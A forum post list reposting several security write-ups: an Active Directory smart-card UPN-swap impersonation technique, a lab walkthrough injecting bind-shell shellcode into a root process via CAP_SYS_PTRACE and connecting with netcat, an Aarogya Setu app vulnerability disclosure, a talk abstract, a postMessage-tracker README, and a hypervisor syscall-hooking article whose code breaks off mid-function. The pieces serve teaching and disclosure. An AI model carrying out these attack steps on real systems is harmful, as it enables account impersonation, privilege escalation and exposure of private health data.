Jump to content

Nytro

Administrators
  • Posts

    18728
  • Joined

  • Last visited

  • Days Won

    708

Posts posted by Nytro

  1. Attacking smart cards in active directory

    Reading time ~9 min
    Posted by Hector Cuesta on 26 March 2020

    Introduction

    Recently, I encountered a fully password-less environment. Every employee in this company had their own smart card that they used to login into their computers, emails, internal applications and more. None of the employees at the company had a password at all – this sounded really cool.

    In this post I will detail a technique used to impersonate other users by modifying a User Principal Name (UPN) on an Active Directory domain that only uses smart cards.

    I want to focus on the smart card aspect, so for context, we start this post assuming we have some NetNTLMv2 hashes that we can neither relay nor crack.

    Smart Cards and active directory

    Before abusing any technology its important to understand the basics, so lets take a look on how Active Directory deals with smart cards.

    If you have some knowledge of windows internals you probably know that NTLM/NetNTLM hashes are important for windows computers to communicate between each other, and these hashes are generated from a secret, usually the password of the user. So how does Active Directory deal with smart cards if the users do not have any password at all?

    When you setup a user account in Active Directory to use smart cards the account password is automatically changed to a random 120 character string. So, the chances of cracking these are close to zero with current hardware.

    To make this even more challenging Windows server 2016 has an option to regenerate these random passwords after every interactive login, invalidating previous NTLM hashes if your forest is on the server 2016 level. Alternatively, you can set this password to expire once a day. If you want more information about this setup I encourage you to check out this blogpost.

    But how does this really work? What does the smart card contain and more importantly, how are smart cards and Active Directory users correlated?

    How does it really work?

    The setup that Im going to show you can have small changes, but this is the most common implementation I have encountered.

    All smart cards contain a certificate with multiple values, one of them being the Subject Alternative Name (SAN). This field contained the email of the user that owned the card, so, for example “hector.cuesta@contoso.local”. To access the certificate on the smart card, the user needed to enter a PIN number validated against the one stored on the smart card. Every time the user wanted to login into their computer, they need to first introduce the smart card and then enter the pin.

    SCCert.jpg SAN attribute of the smart card certificate

    After the pin is entered, the smart card gives the certificate to the computer and this information is forwarded to a domain controller for further validation/authentication. When the domain controller receives the certificate, the signing authority is validated and if the authority is trusted, authentication will proceed.

    At this point the domain controller knows that the information contained in the certificate can be validated, but how is this certificate correlated with an active directory user? To do this the domain controller extracts the SAN from the certificate “hector.cuesta@contoso.local”, and searches this value against all the User Principle Names (UPN) of Active Directory users. To simplify things, when there is a match, the user’s NTLM hash and some other information are sent back to the computer that initiated the authentication process and the login process can finalise.

    diagram-1024x506.png Smart card login process.

    At this point we have two options of abusing this technology.

    First one, try to attack the smart card directly by forging a certificate with an arbitrary SAN. Unless you have a way to break RSA you should not be able to do this.

    Second; attack the Active Directory environment by modifying the UPN of a victim user to the value of the SAN in your legitimate smart card (i.e. switch the UPN for the victim for yours). When the UPN <-> SAN correlation occurs, domain controllers send back the details for the victim user instead of yours.

    Who can modify the UPN of a user?

    The first group of people that come to mind are domain admins, and you may be thinking “What was the point of impersonating someone if you are already domain admin?” But, as I will show later this is still interesting even when you have domain admin privileges. Anyway, changing UPN values is not restricted to only domain admins.

    Delegation of permissions in Active Directory environments is common, and includes delegating the permission to change a user’s UPN as well. This can be seen in the following Microsoft guidelines which even has a template for making this change.

    image-85-1024x414.png Template to delegate UPN change in Active Directory

    But why should someone want to delegate this change? Imagine a big company with thousands of employees. Updates to user profiles like; a change of the address/phone number, to correct errors, or address modifications in the name and surname of users are common tasks. Imagine, for example, countries where people change their surname when they get married. Typically, high level IT admins like domain admins don’t perform these incremental changes, instead this kind of low level administration is usually performed by Help Desk users. And as you will see later, a user with permission to change the UPN value of a user can impersonate any other user in Active Directory when using smart cards.

    As I said before, this is also interesting even if you already have domain admin privileges. Imagine that you manage to compromise the NTLM hash of a domain admin. You are not going to be able to crack it, but you can do pass the hash. You have two main problems, the first being that the NTLM hash is going to become invalid as soon as the domain admin performs an interactive login using their smart card, and the second – when an account is configured to use smart cards you can’t perform interactive logins using pass the hash – so forget about RDP. Alternatively, imagine that you want to login to a computer to obtain some files, but this computer is properly isolated and no remote administrative interfaces are enabled, the only way would be to physically login into the computer and that’s not possible to do using an NTLM hash. However, using the attack I am about to explain you can trick active directory to allow a login to the box using your smart card.

    Performing the attack

    Now that you understand the conceptual part of the attack lets go into the practical details on how to execute it. You will need a valid user able to perform UPN changes, a valid smart card, a target account and the dsmod windows utility.

    First of all you will need to change the UPN of the user associated to your smart card, since active directory does not allow for duplicate UPNs to exist.

    Screenshot-2020-04-23-at-10.43.06-1024x5 Change the UPN of your user to a random one.

    Next you will need to modify the UPN of the target user, modifying their UPN to match the SAN attribute of your smart card.

    Screenshot-2020-04-23-at-10.43.13-1024x5 Change the UPN of the victim to match the SAN in your smart card (Your UPN in this case).

    After this, you simply login to a computer using your smart card and automagically windows will login you as the victim user.

    Finally, restore the UPNs on the target user, or they are not going to be able to login anymore with their smart card.

    Screenshot-2020-04-23-at-10.43.13-1-1024 Restore the UPN of the victim.

    How to detect/fix

    At this point you are probably wondering how can you fix or detect this, and I sad to tell you, there is no fix for this as it’s the intended behaviour and how the current integration of smart cards and active directory works.

    However, there are a few thing that can be done. First of all, monitor for windows events that indicate a change in the UPN such as event ID ‘4738’, and actively verify the legitimacy of these changes as soon as they are performed. Another important action is to review who can perform UPN changes in your organisations and why. In my opinion security is a battle of reducing attack surface, so the fewer users allowed to perform this change the better.

    In general, the values used for correlation between the smart card and Active Directory, the SPN and UPN in this case, should be treated as sensitive values, just like passwords, by monitoring for changes and controlling who can modify them.

    Detection from a more offensive point of view and be done with windows utilities like dsacls. Queries in tools like BloodHound could probably be made to obtain a list of users with permissions to change UPNs.

    References

    Searching for references of this “attack” I found an article from Roger A. Grimes where he mentioned this same “attack” avenue but using windows GUI tools instead of dsmod, he also mentioned that he heard about this attack in the past but can’t remember who told him about this, so the original author remains unknown.

     

    Sursa: https://sensepost.com/blog/2020/attacking-smart-cards-in-active-directory/

  2. Privilege Escalation by abusing SYS_PTRACE Linux Capability

    Nishant Sharma
    May 8 · 4 min read
     
     
     
     

    Linux Capabilities are used to allow binaries (executed by non-root users) to perform privileged operations without providing them all root permissions. There are 40 capabilities supported by the Linux kernel. The list can be found here.

    This model allows the binary or program to grant specific permissions to perform privileged operations rather than giving them root privileges by granting setuid, setguid or sudo without a password.

    As this topic is out of the scope of this post, we will encourage the reader to check more on the following links:


    Lab Scenario

    We have set up the below scenario in our Attack-Defense labs for our students to practice. The screenshots have been taken from our online lab environment.

    Lab: The Basics: CAP_SYS_PTRACE

    This lab comprises a Linux machine with the necessary tools installed on it. The user or practitioner will get a command-line interface (CLI) access to a bash shell inside a running container as the student user, through the web browser.


    Challenge Statement

    In this lab, you need to abuse the CAP_SYS_PTRACE to get root on the box! A flag is kept in root’s home directory.

    Objective: Escalate to the root user and retrieve the flag!


    Solution

    Step 1: Find all binaries which have capabilities set for them.

    Command: getcap -r / 2>/dev/null

    0*XeJyWjBMPQLWAV6J?q=20
    0*XeJyWjBMPQLWAV6J
    Finding files with capabilities

    The CAP_SYS_PTRACE capability is present in the permitted set of /usr/bin/python2.7 binary. As a result, the current user can attach to other processes and trace their system calls.

    1*MsIR0ALS8xPACZsEH0G9YA.png?q=20
    1*MsIR0ALS8xPACZsEH0G9YA.png

    Step 2: Check the services running on the machine.

    Command: ps -eaf

    0*xC0jcgasd2HuiMTB?q=20
    0*xC0jcgasd2HuiMTB
    Process Listing (Part I)
    0*bowOxWzmamPz2EAy?q=20
    0*bowOxWzmamPz2EAy
    Process Listing (Part II)

    Nginx is running on the machine. The Nginx’s master process is running as root and has pid 236.

    Step 3: Check the architecture of the machine.

    Command: uname -m

    0*KQjcndzu6OhfBnHx?q=20
    0*KQjcndzu6OhfBnHx
    Checking system architecture

    The machine is running 64-bit Linux.

    1*MsIR0ALS8xPACZsEH0G9YA.png?q=20
    1*MsIR0ALS8xPACZsEH0G9YA.png

    Step 4: Search for publicly available TCP BIND shell shellcodes.

    Search on Google “Linux x64 Bind shell shellcode exploit db”.

    0*vrch1DJwBXceXcYT?q=20
    0*vrch1DJwBXceXcYT
    Searching for shellcode

    The second Exploit DB link contains a BIND shell shellcode of 87 bytes.

    Exploit DB Link: https://www.exploit-db.com/exploits/41128

    0*C44717h8MEQFnhmQ?q=20
    0*C44717h8MEQFnhmQ
    The shellcode

    The above shellcode will trigger a BIND TCP Shell on port 5600.

    1*MsIR0ALS8xPACZsEH0G9YA.png?q=20
    1*MsIR0ALS8xPACZsEH0G9YA.png

    Step 5: Write a python script to inject the BIND TCP shellcode into the running process.

    The C program provided at the GitHub Link given below can be used as a reference for writing the python script.

    GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c

    Python script:

    Save the above program as “inject.py”

    Step 6: Run the python script with the PID of the Nginx master process passed as an argument.

    Command: python inject.py 236

    0*x5B1HVpXiX1CFNb9?q=20
    0*x5B1HVpXiX1CFNb9
    Shellcode injection

    If the shellcode was injected successfully, a TCP BIND shell should be running on port 5600.

    1*MsIR0ALS8xPACZsEH0G9YA.png?q=20
    1*MsIR0ALS8xPACZsEH0G9YA.png

    Step 7: Check the TCP listen ports on the machine.

    Command: netstat -tnlp

    0*fb1jyKWm6QCbgGmO?q=20
    0*fb1jyKWm6QCbgGmO

    A process is listening on port 5600.

    Step 8: Connect to the BIND shell with netcat.

    Command: nc 127.0.0.1 5600

    Check the current user.

    Command: id

    0*AnqLd-L3SRMZE58D?q=20
    0*AnqLd-L3SRMZE58D
    Connecting to port 5600

    Step 9: Search for the flag file.

    Command: find / -name flag 2>/dev/null

    0*D02kHyxb2M0CwoIk?q=20
    0*D02kHyxb2M0CwoIk
    Searching for flag

    Step 10: Retrieve the flag from the file flag.

    Command: cat /root/flag

    0*O1dclmG-8ZtCzIwL?q=20
    0*O1dclmG-8ZtCzIwL
    Retrieving the flag

    Flag: 9260b41eaece663c4d9ad5e95e94c260

    1*MsIR0ALS8xPACZsEH0G9YA.png?q=20
    1*MsIR0ALS8xPACZsEH0G9YA.png

    References:

    1. Capabilities
    2. ptrace
    3. ptrace.h
    4. user.h
    5. ctypes
    6. Linux/x64 — Bind (5600/TCP) Shell Shellcode
    7. Mem Inject

     

    Sursa: https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc

  3. Aarogya Setu: The story of a failure

    Elliot Alderson
    May 6 · 5 min read
     
     
     
     
    1*UkQ7tgv129XaXzWeAwtkxw.jpeg?q=20
    1*UkQ7tgv129XaXzWeAwtkxw.jpeg

    In order to fight Covid19, the Indian government released a mobile contact tracing application called Aarogya Setu. This application is available on the PlayStore and 90 million Indians already installed it.

    This application is currently getting a lot of attention in India. In Noida, if people doesn’t have the app installed on their phone, a person can be imprisoned up to 6 months or fined up to Rs 1000.

    Access to app internal files

    On April 3, 2 days after the launch of the app, I decided to give a look to the version 1.0.1 of the application. It was 11:54 pm and I spent less than 2 hours looking at it.

    At 1:27 am, I found that an activity called WebViewActivity, was behaving weirdly. This activity is a webview and is, in theory, responsible of showing web page like the privacy policy for example.

    1*FJOkwqfvbzcsLgbpetOtOQ.png?q=20
    1*FJOkwqfvbzcsLgbpetOtOQ.png
    AndroidManifest.xml in Aarogya Setu v1.0.1

    The issue is that WebViewActivity was capable of doing a little bit more than that.

    1*Nf_fYlHtHA0WQcNSvxATXQ.png?q=20
    1*Nf_fYlHtHA0WQcNSvxATXQ.png
    WebViewActivity in Aarogya Setu v1.0.1

    As you can see, the onPageStarted method checked the value of the str parameter. If str:
    - is tel://[phone number]: it will ask Android to open the dialer and pre-dial the number
    - doesn’t contain http or https, it does nothing
    - else it is opening a webview with the specified URI.

    As you can see there is no host validation at all. So, I tried to open an internal file of the application called FightCorona_prefs.xml by sending the following command

    1*MMn1E8mMEUCb93atH796AQ.png?q=20
    1*MMn1E8mMEUCb93atH796AQ.png

    As you can see in the following video, it worked fine!

    Why it’s a problem? With only 1-click an attacker can open any app internal file, included the local database used by the app called fight-covid-db

    Ability to know who is sick anywhere in India

    On May 4, I decided to push my analyse a little bit further and I analysed the version v1.1.1 of the app which is the current version.

    The first thing I noticed is the issue described previously had been fixed silently by the developpers. Indeed, the WebViewActivity is no more accessible from the outside, they removed the intent filters in the AndroidManifest.xml.

    1*CHlk2IYf14-BTTu7Kwrg8A.png?q=20
    1*CHlk2IYf14-BTTu7Kwrg8A.png
    AndroidManifest.xml in Aarogya Setu v1.1.1

    To continue my analysis, I decided to use the app on a rooted device. When I tried, I directly received this message.

    1*8qqRhBAY5U-RaW_VZs9Xqg.jpeg?q=20
    1*8qqRhBAY5U-RaW_VZs9Xqg.jpeg

    I decompiled the app and found where this root detection was implemented. In order to bypass it, I wrote a small function in my Frida script.

    1*9mKRgGWQ9IXejuejFcHtBw.png?q=20
    1*9mKRgGWQ9IXejuejFcHtBw.png

    The next challenge was to be able to bypass the certificate pinning implemented in order to be able to monitor the network requests made by the app. Once I done that, I used the app and found an interesting feature

    1*tpe0ESjIAroFi8r8O4JuRQ.jpeg?q=20
    1*tpe0ESjIAroFi8r8O4JuRQ.jpeg

    In the app, you have the ability to know how many people did a self assessment in your area. You can choose the radius of the area. It can be 500m, 1km, 2kms, 5kms or 10kms.

    When the user is clicking on one of the distance:
    - his location is sent: see the lat and lon parameters in the header
    - the radius choosen is sent: see the dist parameter in the url and the distance parameter in the header

    1*rsEKYcHAU4ZtGaK3l-C7JQ.png?q=20
    1*rsEKYcHAU4ZtGaK3l-C7JQ.png

    The first thing I noticed is that this endpoint returns a lot of info:
    - Number of infected people
    - Number of unwell people
    - Number of people declared as bluetooth positive
    - Number of self assesment made around you
    - Number of people using the app around you

    Because I’m stupid, the 1st thing I tried was to modify the location to see if I was able to get information anywhere in India. The 2nd thing was to modify the radius to 100kms to see if I was able to get info with a radius which is not available in the app. As you can see in the previous screenshot, I set my location to Mumbai and set the radius to 100kms and it worked!

    What are the consequences?
    Thanks to this endpoint an attacker can know who is infected anywhere in India, in the area of his choice. I can know if my neighboor is sick for example. Sounds like a privacy issue for me…

    So I decided to play with it a little bit and checked who was infected in some specific places with a radius of 500 meters:
    - PMO office: {“infected”:0,”unwell”:5,”bluetoothPositive”:4,”success”:true,”selfAsses”:215,”usersNearBy”:1936}
    - Ministry of Defense: {“infected”:0,”unwell”:5,”bluetoothPositive”:11,”success”:true,”selfAsses”:123,”usersNearBy”:1375}
    - Indian Parliament: {“infected”:1,”unwell”:2,”bluetoothPositive”:17,”success”:true,”selfAsses”:225,”usersNearBy”:2338}
    - Indian Army Headquarters: {“infected”:0,”unwell”:2,”bluetoothPositive”:4,”success”:true,”selfAsses”:91,”usersNearBy”:1302}

    Disclosure

    49 minutes after my initial tweet, NIC and the Indian Cert contacted me. I sent them a small technical report.

    Few hours after that they released an official statement.

    To sum up they said “Nothing to see here, move on”.

    My answer to them is:
    - As you saw in the article, it was totally possible to use a different radius than the 5 hardcoded values, so clearly they are lying on this point and they know that. They even admit that the default value is now 1km, so they did a change in production after my report
    - The funny thing is they also admit an user can get the data for multiple locations. Thanks to triangulation, an attacker can get with a meter precision the health status of someone.
    - Bulk calls are possible my man. I spent my day calling this endpoint and you know it too.

    I’m happy they quickly answered to my report and fixed some of the issues but seriously: stop lying, stop denying.

    And don’t forget folks: Hack the planet! 🤘

     

    Sursa: https://medium.com/@fs0c131y/aarogya-setu-the-story-of-a-failure-3a190a18e34

  4.  

    In the RuhrSec 2020 #StayAtHome Edition, we present you with a selection of talks planned for RuhrSec 2020. If you enjoy the talk we encourage you to make a donation to the non-profit organization DLRG Hattingen (https://hattingen.dlrg.de/spenden/) (PayPal available). The donation will be used to support the local youth department of the DLRG, which is the largest voluntary lifesaving organization worldwide. --- RuhrSec is the annual English speaking non-profit IT security conference with cutting-edge security talks by renowned experts. Due to the coronavirus, we decided to cancel the RuhrSec 2020. Thanks to our amazing speakers we are able to provide you with a selection of the planned talks in our RuhrSec 2020 #StayAtHome Edition anyway. https://www.ruhrsec.de/ --- RuhrSec 2020 #StayAtHome Edition Episode 1: Efficient Forward Security for TLS 1.3 0-RTT by Kai Gellert Abstract. The TLS 1.3 0-RTT mode enables a client reconnecting to a server to send encrypted application-layer data in "0-RTT" ("zero round-trip time"), without the need for a prior interactive handshake. This fundamentally requires the server to reconstruct the previous session's encryption secrets upon receipt of the client's first message. The standard techniques to achieve this are session caches or, alternatively, session tickets. The former provides forward security and resistance against replay attacks, but requires a large amount of server-side storage. The latter requires negligible storage, but provides no forward security and is known to be vulnerable to replay attacks. In this talk, we discuss which drawbacks the current 0-RTT mode of TLS 1.3 has and which security we actually would like to achieve. We then present a new generic construction of a session resumption protocol and show that it can immediately be used in TLS 1.3 0-RTT and deployed unilaterally by servers, without requiring any changes to clients or the protocol. This yields the first construction that achieves forward security for all messages, including the 0-RTT data. Biography. Kai Gellert is a PhD student at the chair of IT Security and Cryptography at the University of Wuppertal, where he is supervised by Tibor Jager. The focus of his research is the construction and security analysis of forward-secure 0-RTT protocols. His results are published at leading security and cryptography conferences such as Eurocrypt and the Privacy Enhancing Technologies Symposium. Twitter: https://twitter.com/KaiGellert

  5. postMessage-tracker

    Made by Frans Rosén. Presented during the "Attacking modern web technologies"-talk (Slides) at OWASP AppSec Europe back in 2018, but finally released in May 2020.

    listener-uber.png

    This Chrome extension monitors postMessage-listeners by showing you an indicator about the amount of listeners in the current window.

    It supports tracking listeners in all subframes of the window. It also keeps track of short-lived listeners and listeners enabled upon interactions. You can also log the listener functions and locations to look them through them at a later stage by using the Log URL-option in the extension. This enables you to find hidden listeners that are only enabled for a short time inside an iframe.

    It also shows you the interaction between windows inside the console and will specify the windows using a path you can use yourself to replay the message:

    console.png

    It also supports tracking communication happening between different windows, using diffwin as sender or receiver in the console.

    Features

    • Supports Raven, New Relic, Rollbar, Bugsnag and jQuery wrappers and "unpacks" them to show you the real listener.

    • Tries to bypass and reroute wrappers so the Devtools console will show the proper listeners:

    Using New Relic:

    before.png

    After, with postMessage-tracker:

    after.png

    Using jQuery:

    before-jquery.png

    After, with postMessage-tracker:

    after-jquery.png

    • Allows you to set a Log URL inside the extension options to allow you to log all information about each listener to an endpoint by submitting the listener and the function (to be able to look through all listeners later). You can find the options in the Extension Options when clicking the extension in chrome://extensions-page:

    options.png

    • Supports anonymous functions. Chrome does not support to stringify an anonymous function, in the cases of anonymous functions, you will see the bound-string as the listener:

    anonymous.png

    Known issues

    Since some websites could be served as XML with a XHTML-namespace, it will also attach itself to plain XML-files and will be rendered in the top of the XML. This might confuse you if you look at XML-files in the browser, as the complete injected script is in the DOM of the XML. I haven't found a way to hide it from real XML-files, but still support it for XHTML-namespaces.

     

    Sursa: https://github.com/fransr/postMessage-tracker

  6. Syscall Hooking Via Extended Feature Enable Register (EFER)

     

    Since the dawn of KVA Shadowing (KVAS), similar to Linux’s KPTI, which was developed by Microsoft to mitigate Meltdown vulnerabilities, hooking syscalls among other potentially malicious things has become increasingly difficult in Windows. Upon updating my virtualization toolset which utilizes syscall hooking strategies to assist in control flow analysis, I had trouble when trying to add support for any Windows version with KVAS enabled. This is due to Windows mapping the syscall handler KiSystemCall64Shadow to the kernel shadow page tables. So upon attempting to hook system calls using the LSTAR MSR, I found that the only way to do so was by manually adding my custom LSTAR system call handler to the shadow page tables using MmCreateShadowMapping. This worked well up until the Windows 10 1809 update. Since the 1809 update, the pages of the shadow mapping code in the PAGE section of the kernel are discarded shortly after initialization. I am guessing that Microsoft caught this workaround and dealt with it by discarding the pages. There is no way around this without bootstrapping the kernel it seems.

    After brainstorming possible solutions, I decided to take a shot at hooking using the Extended Feature Enable Register (EFER) in order to exit on each SYSCALL and subsequent SYSRET instruction and emulate their operations (you can find the definition of the EFER MSR in the Intel Software Developer’s Manual, Volume 3A, under section 2.2.1 Extended Feature Enable Register). Now you’re probably thinking, how is that possible? But the possibilities are nearly endless when you have a subverted processor on your hands!

    When setting the appropriate bits in the MSR Bitmap, you can control and mask the value of the SYSCALL Enable (or SCE bit) of the EFER MSR. Referencing the Intel Software Developer’s Manual, Volume 2B, under section 4.3 INSTRUCTIONS (M-U), we can clearly see how the SYSCALL instruction operates and notice we can take advantage of the EFER SCE bit (the AMD64 Architecture Programmer’s Manual V3 r3.26 has a practically equivalent instruction reference on page 419 which some may find easier to follow).

    Taking from the Intel SDM, the SYSCALL instruction operation is as follows:

    IF (CS.L ≠ 1 ) or (IA32_EFER.LMA ≠ 1) or (IA32_EFER.SCE ≠ 1)
    (* Not in 64-Bit Mode or SYSCALL/SYSRET not enabled in IA32_EFER *)
    THEN #UD;
    FI;
    RCX ← RIP; (* Will contain address of next instruction *)
    RIP ← IA32_LSTAR;
    R11 ← RFLAGS;
    RFLAGS ← RFLAGS AND NOT(IA32_FMASK);
    CS.Selector ← IA32_STAR[47:32] AND FFFCH (* Operating system provides CS; RPL forced to 0 *)
    (* Set rest of CS to a fixed value *)
    CS.Base ← 0; (* Flat segment *)
    CS.Limit ← FFFFFH; (* With 4-KByte granularity, implies a 4-GByte limit *)
    CS.Type ← 11; (* Execute/read code, accessed *)
    CS.S ← 1;
    CS.DPL ← 0;
    CS.P ← 1;
    CS.L ← 1; (* Entry is to 64-bit mode *)
    CS.D ← 0; (* Required if CS.L = 1 *)
    CS.G ← 1; (* 4-KByte granularity *)
    CPL ← 0;
    SS.Selector ← IA32_STAR[47:32] + 8; (* SS just above CS *)
    (* Set rest of SS to a fixed value *)
    SS.Base ← 0; (* Flat segment *)
    SS.Limit ← FFFFFH; (* With 4-KByte granularity, implies a 4-GByte limit *)
    SS.Type ← 3; (* Read/write data, accessed *)
    SS.S ← 1;
    SS.DPL ← 0;
    SS.P ← 1;
    SS.B ← 1; (* 32-bit stack segment *)
    SS.G ← 1; (* 4-KByte granularity *)

    We can see the first line of conditions that cause an Undefined Opcode Exception (#UD) contains a conditional check of the EFER SCE bit. Knowing that if EFER SCE is cleared, we can cause a #UD exception, we now know we can VM-exit on every SYSCALL instruction using the Exception Bitmap.

    Though with every SYSCALL instruction there should be a subsequent SYSRET instruction inside the system call handler in order to resume execution back to the previous context. SYSRET operates similarly to the SYSCALL instruction, and can think of it as the little cousin of the IRET instruction.

    Taking from the Intel SDM again, the SYSRET instruction operation is as follows:

    IF (CS.L ≠ 1 ) or (IA32_EFER.LMA ≠ 1) or (IA32_EFER.SCE ≠ 1)
    (* Not in 64-Bit Mode or SYSCALL/SYSRET not enabled in IA32_EFER *)
    THEN #UD; FI;
    IF (CPL ≠ 0) OR (RCX is not canonical) THEN #GP(0); FI;
    IF (operand size is 64-bit)
    THEN (* Return to 64-Bit Mode *)
    RIP ← RCX;
    ELSE (* Return to Compatibility Mode *)
    RIP ← ECX;
    FI;
    RFLAGS ← (R11 & 3C7FD7H) | 2; (* Clear RF, VM, reserved bits; set bit 2 *)
    IF (operand size is 64-bit)
    THEN CS.Selector ← IA32_STAR[63:48]+16;
    ELSE CS.Selector ← IA32_STAR[63:48];
    FI;
    CS.Selector ← CS.Selector OR 3; (* RPL forced to 3 *)
    (* Set rest of CS to a fixed value *)
    CS.Base ← 0; (* Flat segment *)
    CS.Limit ← FFFFFH; (* With 4-KByte granularity, implies a 4-GByte limit *)
    CS.Type ← 11; (* Execute/read code, accessed *)
    CS.S ← 1;
    CS.DPL ← 3;
    CS.P ← 1;
    IF (operand size is 64-bit)
    THEN (* Return to 64-Bit Mode *)
    CS.L ← 1; (* 64-bit code segment *)
    CS.D ← 0; (* Required if CS.L = 1 *)
    ELSE (* Return to Compatibility Mode *)
    CS.L ← 0; (* Compatibility mode *)
    CS.D ← 1; (* 32-bit code segment *)
    FI;
    CS.G ← 1; (* 4-KByte granularity *)
    CPL ← 3;
    SS.Selector ← (IA32_STAR[63:48]+8) OR 3; (* RPL forced to 3 *)
    (* Set rest of SS to a fixed value *)
    SS.Base ← 0; (* Flat segment *)
    SS.Limit ← FFFFFH; (* With 4-KByte granularity, implies a 4-GByte limit *)
    SS.Type ← 3; (* Read/write data, accessed *)
    SS.S ← 1;
    SS.DPL ← 3;
    SS.P ← 1;
    SS.B ← 1; (* 32-bit stack segment*)
    SS.G ← 1; (* 4-KByte granularity *)

    We can see the first line of conditions that cause a #UD exception are the same as the SYSCALL instruction. At this point we know we’re good to start causing VM-exits and emulating system calls, but let’s recap everything we know we have to do:

    1. Enable VMX.
    2. Setup VM-entry controls in VMCS to load the EFER MSR on VM entry.
    3. Setup VM-exit controls in VMCS to save the EFER MSR on VM exit.
    4. Setup MSR Bitmap in VMCS to exit on reads and writes to the EFER MSR.
    5. Setup Exception Bitmap in VMCS to exit on #UD exceptions.
    6. Set the SCE bit on EFER MSR Read VM-exits.
    7. Clear (mask off) the SCE bit on EFER MSR Write VM-exits.
    8. Handle the #UD instruction to emulate either the SYSCALL or SYSRET instruction.

    The next problem is detecting whether the #UD was caused by a SYSCALL or SYSRET instruction. For the sake of simplicity, reading opcodes from RIP is sufficient to determine what instruction caused the #UD. KVAS slightly complicates things however so we need to handle this a little differently if the CR3 PCID indicates a user mode directory table base. There is of course more optimal methods than reading the instruction opcodes (e.g. hook the interrupt table itself, or use a toggle or counter to switch between handling syscall or sysret if its safe to assume nothing else will cause a #UD).

    Emulating the SYSCALL and SYSRET instructions is as easy as just following the instruction operations outlined in the manual. The following code is just a basic emulation, I have purposely left out handling of compatibility and protected mode and the SYSRET #GP exception for simplicity:

    //
    // SYSCALL instruction emulation routine
    //
    static
    BOOLEAN
    VmmpEmulateSYSCALL(
    IN PVIRTUAL_CPU VirtualCpu
    )
    {
    X86_SEGMENT_REGISTER Cs, Ss;
    UINT64 MsrValue;
     
    //
    // Save the address of the instruction following SYSCALL into RCX and then
    // load RIP from MSR_LSTAR.
    //
    MsrValue = ReadMSR( MSR_LSTAR );
     
    VirtualCpu->Context->Rcx = VirtualCpu->Context->Rip;
    VirtualCpu->Context->Rip = MsrValue;
    VmcsWrite( VMCS_GUEST_RIP, VirtualCpu->Context->Rip );
     
    //
    // Save RFLAGS into R11 and then mask RFLAGS using MSR_FMASK.
    //
    MsrValue = ReadMSR( MSR_FMASK );
     
    VirtualCpu->Context->R11 = VirtualCpu->Context->Rflags;
    VirtualCpu->Context->Rflags &= ~(MsrValue | X86_FLAGS_RF);
    VmcsWrite( VMCS_GUEST_RFLAGS, VirtualCpu->Context->Rflags );
     
    //
    // Load the CS and SS selectors with values derived from bits 47:32 of MSR_STAR.
    //
    MsrValue = ReadMSR( MSR_STAR );
     
    Cs.Selector = (UINT16)((MsrValue >> 32) & ~3); // STAR[47:32] & ~RPL3
    Cs.Base = 0; // flat segment
    Cs.Limit = (UINT32)~0; // 4GB limit
    Cs.Attributes = 0xA9B; // L+DB+P+S+DPL0+Code
    VmcsWriteSegment( X86_REG_CS, &Cs );
     
    Ss.Selector = (UINT16)(((MsrValue >> 32) & ~3) + 8); // STAR[47:32] + 8
    Ss.Base = 0; // flat segment
    Ss.Limit = (UINT32)~0; // 4GB limit
    Ss.Attributes = 0xC93; // G+DB+P+S+DPL0+Data
    VmcsWriteSegment( X86_REG_SS, &Ss );
     
    return TRUE;
    }
    //
    // SYSRET instruction emulation routine
    //
    static
    BOOLEAN
    VmmpEmulateSYSRET(
    IN PVIRTUAL_CPU VirtualCpu
    )
    {
    X86_SEGMENT_REGISTER Cs, Ss;
    UINT64 MsrValue;
     
    //
    // Load RIP from RCX.
    //
    VirtualCpu->Context->Rip = VirtualCpu->Context->Rcx;
    VmcsWrite( VMCS_GUEST_RIP, VirtualCpu->Context->Rip );
     
    //
    // Load RFLAGS from R11. Clear RF, VM, reserved bits.
    //
    VirtualCpu->Context->Rflags = (VirtualCpu->Context->R11 & ~(X86_FLAGS_RF | X86_FLAGS_VM | X86_FLAGS_RESERVED_BITS)) | X86_FLAGS_FIXED;
    VmcsWrite( VMCS_GUEST_RFLAGS, VirtualCpu->Context->Rflags );
     
    //
    // SYSRET loads the CS and SS selectors with values derived from bits 63:48 of MSR_STAR.
    //
    MsrValue = ReadMSR( MSR_STAR );
     
    Cs.Selector = (UINT16)(((MsrValue >> 48) + 16) | 3); // (STAR[63:48]+16) | 3 (* RPL forced to 3 *)
    Cs.Base = 0; // Flat segment
    Cs.Limit = (UINT32)~0; // 4GB limit
    Cs.Attributes = 0xAFB; // L+DB+P+S+DPL3+Code
    VmcsWriteSegment( X86_REG_CS, &Cs );
     
    Ss.Selector = (UINT16)(((MsrValue >> 48) + 8) | 3); // (STAR[63:48]+8) | 3 (* RPL forced to 3 *)
    Ss.Base = 0; // Flat segment
    Ss.Limit = (UINT32)~0; // 4GB limit
    Ss.Attributes = 0xCF3; // G+DB+P+S+DPL3+Data
    VmcsWriteSegment( X86_REG_SS, &Ss );
     
    return TRUE;
    }

    You can simply call the SYSCALL  and SYSRET emulation routines from your #UD handler, which also does the detection of what instruction caused the exception. Here is a quick example including code supporting KVAS:

    #define IS_SYSRET_INSTRUCTION(Code) \
    (*((PUINT8)(Code) + 0) == 0x48 && \
    *((PUINT8)(Code) + 1) == 0x0F && \
    *((PUINT8)(Code) + 2) == 0x07)
     
    #define IS_SYSCALL_INSTRUCTION(Code) \
    (*((PUINT8)(Code) + 0) == 0x0F && \
    *((PUINT8)(Code) + 1) == 0x05)
     
    static
    BOOLEAN
    VmmpHandleUD(
    IN PVIRTUAL_CPU VirtualCpu
    )
    {
    UINTN GuestCr3;
    UINTN OriginalCr3;
    UINTN Rip = VirtualCpu->Context->Rip;
     
    //
    // Due to KVA Shadowing, we need to switch to a different directory table base
    // if the PCID indicates this is a user mode directory table base.
    //
    GuestCr3 = VmxGetGuestControlRegister( VirtualCpu, X86_CTRL_CR3 );
    if ((GuestCr3 & PCID_MASK) != PCID_NONE)
    {
    OriginalCr3 = ReadCr3( );
    WriteCr3( PsGetCurrentProcess( )->DirectoryTableBase );
     
    if (IS_SYSRET_INSTRUCTION( Rip ))
    {
    WriteCr3( OriginalCr3 );
    goto EmulateSYSRET;
    }
     
    if (IS_SYSCALL_INSTRUCTION( Rip ))
    {
    WriteCr3( OriginalCr3 );
    goto EmulateSYSCALL;
    }
     
